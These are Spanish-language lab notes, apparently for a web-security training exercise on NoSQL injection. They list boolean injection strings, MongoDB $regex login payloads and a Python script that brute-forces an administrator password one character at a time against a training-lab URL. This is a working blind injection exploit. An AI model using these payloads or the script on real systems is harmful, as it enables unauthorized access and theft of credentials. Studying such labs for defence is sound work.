3 - Exploiting NoSQL injection to extract data

Responde a booleans :

administrator'+%26%26+1+%26%26+'x
' && this.password[0] == 'a' || 'a'=='b
' && this.password.match(/\d/) || 'a'=='b //La pass tiene números
' && this.password.match(/[a-z]/) || 'a'=='b //La pass tiene minúsculas

La pass tiene números

{
  "username": "carlos",
  "password": {
    "$regex": ".*\\d.*" 
  }
}

Tiene minúsculas

{
  "username": "carlos",
  "password": {
    "$regex": ".*[a-z].*"
  }
}

Ir iterando sobre la contraseña :

GET /user/lookup?user=wiener' && this.password[0] == 'a' || 'a'=='b
#!/usr/bin/env python3

from pwn import *
import requests, sys, signal, time, pdb, urllib3,string
from urllib.parse import quote

def sig_handler(sig, frame):
    print("\n\n[!] Saliendo...\n")
    sys.exit(1)

signal.signal(signal.SIGINT, sig_handler)

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

cookie = { "Cookie" : "session=Ja7NDzdq3qDkdLa1fmYN9SwjSFHVLJoS"}

#Variables Globales
characters= string.ascii_lowercase + string.ascii_uppercase + string.digits + '_'

def makeSQLI():
	s=requests.session()
	s.verify = False
    

	p1= log.progress("Fuerza Bruta")
	p1.status("Iniciando proceso de fuerza bruta")

	time.sleep(2)

	p2= log.progress("Password")

	password= ""
	for position in range(0,50): #Rango 1 - (tamaño database + 1)
		for character in characters:
			payload= f"administrator'+%26%26+this.password[{position}]+%3d%3d+'{character}'+||+'a'%3d%3d'b"
			url= f"https://0add009203f6b951805d30b700b8009d.web-security-academy.net/user/lookup?user={payload}"
			p1.status(payload)
			#url = quote(url, safe=':/?&=.,')
			r = s.get(url, verify=False, headers=cookie)
			if "role" in r.text :
				password += character
				p2.status(password)
				break

if __name__ == '__main__':
	makeSQLI()